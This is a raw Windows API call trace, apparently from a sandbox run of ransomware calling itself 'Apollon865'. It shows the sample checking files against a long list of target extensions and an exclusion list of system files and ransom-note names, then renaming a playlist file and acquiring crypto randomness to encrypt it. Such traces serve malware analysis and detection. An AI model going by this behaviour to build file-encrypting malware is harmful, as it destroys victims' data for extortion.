	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.354] lstrlenW (lpString="fic") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.354] lstrlenW (lpString="flexolibrary") returned 12
	[0061.354] lstrcmpiW (lpString1="ast_week.wpl", lpString2="flexolibrary") returned -1
	[0061.354] lstrlenW (lpString="fm5") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.354] lstrlenW (lpString="fmp") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.354] lstrlenW (lpString="fmp12") returned 5
	[0061.354] lstrcmpiW (lpString1="k.wpl", lpString2="fmp12") returned 1
	[0061.354] lstrlenW (lpString="fmpsl") returned 5
	[0061.354] lstrcmpiW (lpString1="k.wpl", lpString2="fmpsl") returned 1
	[0061.355] lstrlenW (lpString="fol") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.355] lstrlenW (lpString="fp3") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.355] lstrlenW (lpString="fp4") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.355] lstrlenW (lpString="fp5") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.355] lstrlenW (lpString="fp7") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.355] lstrlenW (lpString="fpt") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.355] lstrlenW (lpString="frm") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.355] lstrlenW (lpString="gdb") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.355] lstrlenW (lpString="gdb") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.355] lstrlenW (lpString="grdb") returned 4
	[0061.355] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.355] lstrlenW (lpString="gwi") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.355] lstrlenW (lpString="hdb") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.355] lstrlenW (lpString="his") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.355] lstrlenW (lpString="ib") returned 2
	[0061.355] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.355] lstrlenW (lpString="idb") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.355] lstrlenW (lpString="ihx") returned 3
	[0061.355] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.355] lstrlenW (lpString="itdb") returned 4
	[0061.356] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.356] lstrlenW (lpString="itw") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.356] lstrlenW (lpString="jet") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.356] lstrlenW (lpString="jtx") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.356] lstrlenW (lpString="kdb") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.356] lstrlenW (lpString="kexi") returned 4
	[0061.356] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.356] lstrlenW (lpString="kexic") returned 5
	[0061.356] lstrcmpiW (lpString1="k.wpl", lpString2="kexic") returned -1
	[0061.356] lstrlenW (lpString="kexis") returned 5
	[0061.356] lstrcmpiW (lpString1="k.wpl", lpString2="kexis") returned -1
	[0061.356] lstrlenW (lpString="lgc") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.356] lstrlenW (lpString="lwx") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.356] lstrlenW (lpString="maf") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.356] lstrlenW (lpString="maq") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.356] lstrlenW (lpString="mar") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.356] lstrlenW (lpString="marshal") returned 7
	[0061.356] lstrcmpiW (lpString1="eek.wpl", lpString2="marshal") returned -1
	[0061.356] lstrlenW (lpString="mas") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.356] lstrlenW (lpString="mav") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.356] lstrlenW (lpString="maw") returned 3
	[0061.356] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.356] lstrlenW (lpString="mdbhtml") returned 7
	[0061.357] lstrcmpiW (lpString1="eek.wpl", lpString2="mdbhtml") returned -1
	[0061.357] lstrlenW (lpString="mdn") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.357] lstrlenW (lpString="mdt") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.357] lstrlenW (lpString="mfd") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.357] lstrlenW (lpString="mpd") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.357] lstrlenW (lpString="mrg") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.357] lstrlenW (lpString="mud") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.357] lstrlenW (lpString="mwb") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.357] lstrlenW (lpString="myd") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.357] lstrlenW (lpString="ndf") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.357] lstrlenW (lpString="nnt") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.357] lstrlenW (lpString="nrmlib") returned 6
	[0061.357] lstrcmpiW (lpString1="ek.wpl", lpString2="nrmlib") returned -1
	[0061.357] lstrlenW (lpString="ns2") returned 3
	[0061.357] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.357] lstrlenW (lpString="ns3") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.358] lstrlenW (lpString="ns4") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.358] lstrlenW (lpString="nsf") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.358] lstrlenW (lpString="nv") returned 2
	[0061.358] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.358] lstrlenW (lpString="nv2") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.358] lstrlenW (lpString="nwdb") returned 4
	[0061.358] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.358] lstrlenW (lpString="nyf") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.358] lstrlenW (lpString="odb") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.358] lstrlenW (lpString="odb") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.358] lstrlenW (lpString="oqy") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.358] lstrlenW (lpString="ora") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.358] lstrlenW (lpString="orx") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.358] lstrlenW (lpString="owc") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.358] lstrlenW (lpString="p96") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.358] lstrlenW (lpString="p97") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.358] lstrlenW (lpString="pan") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.358] lstrlenW (lpString="pdb") returned 3
	[0061.358] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.358] lstrlenW (lpString="pdm") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.359] lstrlenW (lpString="pnz") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.359] lstrlenW (lpString="qry") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.359] lstrlenW (lpString="qvd") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.359] lstrlenW (lpString="rbf") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.359] lstrlenW (lpString="rctd") returned 4
	[0061.359] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.359] lstrlenW (lpString="rod") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.359] lstrlenW (lpString="rodx") returned 4
	[0061.359] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.359] lstrlenW (lpString="rpd") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.359] lstrlenW (lpString="rsd") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.359] lstrlenW (lpString="sas7bdat") returned 8
	[0061.359] lstrcmpiW (lpString1="week.wpl", lpString2="sas7bdat") returned 1
	[0061.359] lstrlenW (lpString="sbf") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.359] lstrlenW (lpString="scx") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.359] lstrlenW (lpString="sdb") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.359] lstrlenW (lpString="sdc") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.359] lstrlenW (lpString="sdf") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.359] lstrlenW (lpString="sis") returned 3
	[0061.359] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.359] lstrlenW (lpString="spq") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.360] lstrlenW (lpString="te") returned 2
	[0061.360] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.360] lstrlenW (lpString="teacher") returned 7
	[0061.360] lstrcmpiW (lpString1="eek.wpl", lpString2="teacher") returned -1
	[0061.360] lstrlenW (lpString="tmd") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.360] lstrlenW (lpString="tps") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.360] lstrlenW (lpString="trc") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.360] lstrlenW (lpString="trc") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.360] lstrlenW (lpString="trm") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.360] lstrlenW (lpString="udb") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.360] lstrlenW (lpString="udl") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.360] lstrlenW (lpString="usr") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.360] lstrlenW (lpString="v12") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.360] lstrlenW (lpString="vis") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.360] lstrlenW (lpString="vpd") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.360] lstrlenW (lpString="vvv") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.360] lstrlenW (lpString="wdb") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.360] lstrlenW (lpString="wmdb") returned 4
	[0061.360] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.360] lstrlenW (lpString="wrk") returned 3
	[0061.360] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.361] lstrlenW (lpString="xdb") returned 3
	[0061.361] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.361] lstrlenW (lpString="xld") returned 3
	[0061.361] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.361] lstrlenW (lpString="xmlff") returned 5
	[0061.361] lstrcmpiW (lpString1="k.wpl", lpString2="xmlff") returned -1
	[0061.361] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.Apollon865") returned 130
	[0061.361] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.383] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.383] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1040) returned 1
	[0061.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.384] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0061.385] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.385] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.385] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0xc0
	[0061.388] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000
	[0061.392] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0061.396] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.397] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.398] CloseHandle (hObject=0xc0) returned 1
	[0061.398] CloseHandle (hObject=0x14c) returned 1
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.399] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".") returned 1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="..") returned 1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="windows") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="bootmgr") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="temp") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="boot") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="ids.txt") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="perflogs") returned -1
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="MSBuild") returned -1
	[0061.399] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0061.399] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned 119
	[0061.399] lstrcpyW (in: lpString1=0x119e6b0, lpString2="08_Video_rated_at_4_or_5_stars.wpl" | out: lpString1="08_Video_rated_at_4_or_5_stars.wpl") returned="08_Video_rated_at_4_or_5_stars.wpl"
	[0061.399] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0061.399] lstrlenW (lpString="Apollon865") returned 10
	[0061.399] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0061.399] lstrlenW (lpString=".dll") returned 4
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0061.399] lstrlenW (lpString=".lnk") returned 4
	[0061.399] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0061.399] lstrlenW (lpString=".ini") returned 4
	[0061.400] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0061.400] lstrlenW (lpString=".sys") returned 4
	[0061.400] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0061.400] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0061.400] lstrlenW (lpString="bak") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.400] lstrlenW (lpString="ba_") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.400] lstrlenW (lpString="dbb") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.400] lstrlenW (lpString="vmdk") returned 4
	[0061.400] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.400] lstrlenW (lpString="rar") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.400] lstrlenW (lpString="zip") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.400] lstrlenW (lpString="tgz") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.400] lstrlenW (lpString="vbox") returned 4
	[0061.400] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.400] lstrlenW (lpString="vdi") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.400] lstrlenW (lpString="vhd") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.400] lstrlenW (lpString="vhdx") returned 4
	[0061.400] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.400] lstrlenW (lpString="avhd") returned 4
	[0061.400] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.400] lstrlenW (lpString="db") returned 2
	[0061.400] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.400] lstrlenW (lpString="db2") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.400] lstrlenW (lpString="db3") returned 3
	[0061.400] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.401] lstrlenW (lpString="dbf") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.401] lstrlenW (lpString="mdf") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.401] lstrlenW (lpString="mdb") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.401] lstrlenW (lpString="sql") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.401] lstrlenW (lpString="sqlite") returned 6
	[0061.401] lstrcmpiW (lpString1="rs.wpl", lpString2="sqlite") returned -1
	[0061.401] lstrlenW (lpString="sqlite3") returned 7
	[0061.401] lstrcmpiW (lpString1="ars.wpl", lpString2="sqlite3") returned -1
	[0061.401] lstrlenW (lpString="sqlitedb") returned 8
	[0061.401] lstrcmpiW (lpString1="tars.wpl", lpString2="sqlitedb") returned 1
	[0061.401] lstrlenW (lpString="xml") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.401] lstrlenW (lpString="$er") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.401] lstrlenW (lpString="4dd") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.401] lstrlenW (lpString="4dl") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.401] lstrlenW (lpString="^^^") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.401] lstrlenW (lpString="abs") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.401] lstrlenW (lpString="abx") returned 3
	[0061.401] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.401] lstrlenW (lpString="accdb") returned 5
	[0061.401] lstrcmpiW (lpString1="s.wpl", lpString2="accdb") returned 1
	[0061.401] lstrlenW (lpString="accdc") returned 5
	[0061.401] lstrcmpiW (lpString1="s.wpl", lpString2="accdc") returned 1
	[0061.401] lstrlenW (lpString="accde") returned 5
	[0061.401] lstrcmpiW (lpString1="s.wpl", lpString2="accde") returned 1
	[0061.402] lstrlenW (lpString="accdr") returned 5
	[0061.402] lstrcmpiW (lpString1="s.wpl", lpString2="accdr") returned 1
	[0061.402] lstrlenW (lpString="accdt") returned 5
	[0061.402] lstrcmpiW (lpString1="s.wpl", lpString2="accdt") returned 1
	[0061.402] lstrlenW (lpString="accdw") returned 5
	[0061.402] lstrcmpiW (lpString1="s.wpl", lpString2="accdw") returned 1
	[0061.402] lstrlenW (lpString="accft") returned 5
	[0061.402] lstrcmpiW (lpString1="s.wpl", lpString2="accft") returned 1
	[0061.402] lstrlenW (lpString="adb") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.402] lstrlenW (lpString="adb") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.402] lstrlenW (lpString="ade") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.402] lstrlenW (lpString="adf") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.402] lstrlenW (lpString="adn") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.402] lstrlenW (lpString="adp") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.402] lstrlenW (lpString="alf") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.402] lstrlenW (lpString="ask") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.402] lstrlenW (lpString="btr") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.402] lstrlenW (lpString="cat") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.402] lstrlenW (lpString="cdb") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.402] lstrlenW (lpString="ckp") returned 3
	[0061.402] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.403] lstrlenW (lpString="cma") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.403] lstrlenW (lpString="cpd") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.403] lstrlenW (lpString="dacpac") returned 6
	[0061.403] lstrcmpiW (lpString1="rs.wpl", lpString2="dacpac") returned 1
	[0061.403] lstrlenW (lpString="dad") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.403] lstrlenW (lpString="dadiagrams") returned 10
